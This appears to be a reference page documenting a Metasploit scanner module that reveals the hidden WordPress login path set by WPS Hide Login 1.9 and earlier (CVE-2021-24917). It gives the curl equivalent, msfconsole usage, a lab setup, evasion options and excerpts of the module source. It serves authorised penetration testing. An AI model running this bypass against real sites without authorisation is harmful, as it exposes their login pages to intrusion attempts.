WordPress WPS Hide Login Login Page Revealer - Metasploit


This page contains detailed information about how to use the auxiliary/scanner/http/wp_wps_hide_login_revealer metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: WordPress WPS Hide Login Login Page Revealer
Module: auxiliary/scanner/http/wp_wps_hide_login_revealer
Source code: modules/auxiliary/scanner/http/wp_wps_hide_login_revealer.rb
Disclosure date: 2021-10-27
Last modification time: 2021-12-14 16:40:52 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2021-24917

This module exploits a bypass issue with WPS Hide Login version <= 1.9. WPS Hide Login is used to make a new secret path to the login page, however a 'GET' request to '/wp-admin/options.php' with a referer will reveal the hidden path.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).

Basic Usage


This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/http/wp_wps_hide_login_revealer
msf auxiliary(wp_wps_hide_login_revealer) > show options
    ... show and set options ...
msf auxiliary(wp_wps_hide_login_revealer) > set RHOSTS ip-range
msf auxiliary(wp_wps_hide_login_revealer) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(wp_wps_hide_login_revealer) > set RHOSTS 192.168.1.3-192.168.1.200 

Example 2:

msf auxiliary(wp_wps_hide_login_revealer) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(wp_wps_hide_login_revealer) > set RHOSTS file:/tmp/ip_list.txt

Required Options


  • RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

Knowledge Base


Vulnerable Application


This module exploits a bypass issue with WPS Hide Login version <= 1.9. WPS Hide Login is used to make a new secret path to the login page, however a GET request to /wp-admin/options.php with a referer will reveal the hidden path.

This emulates the following curl command: curl --referer "something" -sIXGET http://<ip>/wp-admin/options.php

Wordpress Installation

To install a vulnerable version of the program create a new directory called wordpress. Go inside this directory and create a file named docker-compose.yml with the following contents:

version: '3.3'

services:
   db:
     image: mysql:5.7
     volumes:
       - db_data:/var/lib/mysql
     restart: always
     environment:
       MYSQL_ROOT_PASSWORD: somewordpress
       MYSQL_DATABASE: wordpress
       MYSQL_USER: wordpress
       MYSQL_PASSWORD: wordpress

   wordpress:
     depends_on:
       - db
     image: wordpress:latest
     ports:
       - "8000:80"
     restart: always
     environment:
       WORDPRESS_DB_HOST: db:3306
       WORDPRESS_DB_USER: wordpress
       WORDPRESS_DB_PASSWORD: wordpress
       WORDPRESS_DB_NAME: wordpress
volumes:
    db_data: {}

Then run sudo docker-compose up -d. Confirm with sudo docker ps -a that you have a running instance of WordPress and MySQL after this is complete. Then browse to http://127.0.0.1:8000 and complete WordPress setup.

Plugin Installation

  1. Go to https://downloads.wordpress.org/plugin/wps-hide-login.1.9.zip
  2. Log in to WordPress
  3. Go to Plugins and then Add New and click Upload Plugin and select the downloaded ZIP file.
  4. Click Install Now
  5. Click Activate Plugin on the install page confirming the install succeeded.
  6. Go to /wp-admin/plugins.php
  7. Find the WPS Hide Login plugin, click Settings.
  8. Find the section named Login URL and change its value to a value of your choice.
  9. Click Save Changes.
  10. Logout. You are ready to test!

Verification Steps


  1. Install the vulnerable plugin and set a new login page
  2. Start msfconsole
  3. Do: use auxiliary/scanner/http/wp_wps_hide_login_revealer
  4. Do: set rhosts [ip]
  5. Do: run
  6. You should find the hidden login page

Scenarios


WPS Hide Login version 1.9.0 on Wordpress 5.4.8 running on Ubuntu 20.04

resource (hide_login.rb)> use auxiliary/scanner/http/wp_wps_hide_login_revealer
resource (hide_login.rb)> set rhosts 1.1.1.1
rhosts => 1.1.1.1
resource (hide_login.rb)> set verbose true
verbose => true
resource (hide_login.rb)> run
[*] Checking /wp-content/plugins/wps-hide-login/readme.txt
[*] Found version 1.9 in the plugin
[+] 1.1.1.1 - Vulnerable version of wps_hide_login detected
[*] 1.1.1.1 - Determining login page
[+] Login Page: http://1.1.1.1/supersecret/?redirect_to=%2Fwp-admin%2FilOYZU&reauth=1
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Go back to menu.

Msfconsole Usage


Here is how the scanner/http/wp_wps_hide_login_revealer auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/http/wp_wps_hide_login_revealer

msf6 auxiliary(scanner/http/wp_wps_hide_login_revealer) > show info

       Name: WordPress WPS Hide Login Login Page Revealer
     Module: auxiliary/scanner/http/wp_wps_hide_login_revealer
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2021-10-27

Provided by:
  thalakus
  h00die

Module side effects:
 ioc-in-logs

Module stability:
 crash-safe

Check supported:
  No

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT      80               yes       The target port (TCP)
  SSL        false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI  /                yes       The base path to the wordpress application
  THREADS    1                yes       The number of concurrent threads (max one per host)
  VHOST                       no        HTTP server virtual host

Description:
  This module exploits a bypass issue with WPS Hide Login version <= 
  1.9. WPS Hide Login is used to make a new secret path to the login 
  page, however a 'GET' request to '/wp-admin/options.php' with a 
  referer will reveal the hidden path.

References:
  https://wpscan.com/vulnerability/15bb711a-7d70-4891-b7a2-c473e3e8b375
  https://nvd.nist.gov/vuln/detail/CVE-2021-24917
  https://wordpress.org/support/topic/bypass-security-issue/

Module Options


This is a complete list of options available in the scanner/http/wp_wps_hide_login_revealer auxiliary module:

msf6 auxiliary(scanner/http/wp_wps_hide_login_revealer) > show options

Module options (auxiliary/scanner/http/wp_wps_hide_login_revealer):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the wordpress application
   THREADS    1                yes       The number of concurrent threads (max one per host)
   VHOST                       no        HTTP server virtual host

Advanced Options


Here is a complete list of advanced options supported by the scanner/http/wp_wps_hide_login_revealer auxiliary module:

msf6 auxiliary(scanner/http/wp_wps_hide_login_revealer) > show advanced

Module advanced options (auxiliary/scanner/http/wp_wps_hide_login_revealer):

   Name                  Current Setting                                      Required  Description
   ----                  ---------------                                      --------  -----------
   DOMAIN                WORKSTATION                                          yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                 no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                 no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                          no        HTTP connection and receive timeout
   HttpPassword                                                               no        The HTTP password to specify for authentication
   HttpRawHeaders                                                             no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                                no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                              no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                                no        Show HTTP headers only in HttpTrace
   HttpUsername                                                               no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                 yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted:
                                                                                        Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   ShowProgress          true                                                 yes       Display progress messages during a scan
   ShowProgressPercent   10                                                   yes       The interval in percent that progress should be shown
   UserAgent             Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebK  no        The User-Agent header to use for all requests
                         it/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 S
                         afari/537.36
   VERBOSE               false                                                no        Enable detailed status messages
   WORKSPACE                                                                  no        Specify the workspace for this module
   WPCHECK               true                                                 yes       Check if the website is a valid WordPress install
   WPCONTENTDIR          wp-content                                           yes       The name of the wp-content directory

Auxiliary Actions


This is a list of all auxiliary actions that the scanner/http/wp_wps_hide_login_revealer module can do:

msf6 auxiliary(scanner/http/wp_wps_hide_login_revealer) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the scanner/http/wp_wps_hide_login_revealer auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/http/wp_wps_hide_login_revealer) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<IP> - Server not online or not detected as wordpress


Here is a relevant code snippet related to the "<IP> - Server not online or not detected as wordpress" error message:

38:	    )
39:	  end
40:	
41:	  def run_host(ip)
42:	    unless wordpress_and_online?
43:	      fail_with Failure::NotVulnerable, "#{ip} - Server not online or not detected as wordpress"
44:	    end
45:	
46:	    checkcode = check_plugin_version_from_readme('wps-hide-login', '1.9.1')
47:	    unless [Msf::Exploit::CheckCode::Vulnerable, Msf::Exploit::CheckCode::Appears, Msf::Exploit::CheckCode::Detected].include?(checkcode)
48:	      fail_with Failure::NotVulnerable, "#{ip} - A vulnerable version of the 'WPS Hide Login' was not found"

<IP> - A vulnerable version of the 'WPS Hide Login' was not found


Here is a relevant code snippet related to the "<IP> - A vulnerable version of the 'WPS Hide Login' was not found" error message:

43:	      fail_with Failure::NotVulnerable, "#{ip} - Server not online or not detected as wordpress"
44:	    end
45:	
46:	    checkcode = check_plugin_version_from_readme('wps-hide-login', '1.9.1')
47:	    unless [Msf::Exploit::CheckCode::Vulnerable, Msf::Exploit::CheckCode::Appears, Msf::Exploit::CheckCode::Detected].include?(checkcode)
48:	      fail_with Failure::NotVulnerable, "#{ip} - A vulnerable version of the 'WPS Hide Login' was not found"
49:	    end
50:	    print_good("#{ip} - Vulnerable version of wps_hide_login detected")
51:	
52:	    print_status("#{ip} - Determining login page")
53:	    # curl --referer "something" -sIXGET http://<ip>/wp-admin/options.php

<IP> - Connection failed


Here is a relevant code snippet related to the "<IP> - Connection failed" error message:

57:	        'Referer' => Rex::Text.rand_text_alphanumeric(rand(5..7))
58:	      },
59:	      'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options.php')
60:	    })
61:	
62:	    fail_with Failure::Unreachable, "#{ip} - Connection failed" unless res
63:	    fail_with Failure::NotVulnerable, "#{ip} - Connection failed. Didn't receive a HTTP 302 redirect to the secret login page" if res.code != 302
64:	    if res.headers['Location']
65:	      print_good("Login page: #{res.headers['Location']}")
66:	    else
67:	      print_error('No location header found')

<IP> - Connection failed. Didn't receive a HTTP 302 redirect to the secret login page


Here is a relevant code snippet related to the "<IP> - Connection failed. Didn't receive a HTTP 302 redirect to the secret login page" error message:

58:	      },
59:	      'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options.php')
60:	    })
61:	
62:	    fail_with Failure::Unreachable, "#{ip} - Connection failed" unless res
63:	    fail_with Failure::NotVulnerable, "#{ip} - Connection failed. Didn't receive a HTTP 302 redirect to the secret login page" if res.code != 302
64:	    if res.headers['Location']
65:	      print_good("Login page: #{res.headers['Location']}")
66:	    else
67:	      print_error('No location header found')
68:	    end

No location header found


Here is a relevant code snippet related to the "No location header found" error message:

60:	    })
61:	
62:	    fail_with Failure::Unreachable, "#{ip} - Connection failed" unless res
63:	    fail_with Failure::NotVulnerable, "#{ip} - Connection failed. Didn't receive a HTTP 302 redirect to the secret login page" if res.code != 302
64:	    if res.headers['Location']
65:	      print_good("Login page: #{res.headers['Location']}")
66:	    else
67:	      print_error('No location header found')
68:	    end
69:	  end
70:	end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • thalakus
  • h00die

Version


This page has been produced using Metasploit Framework version 6.1.36-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.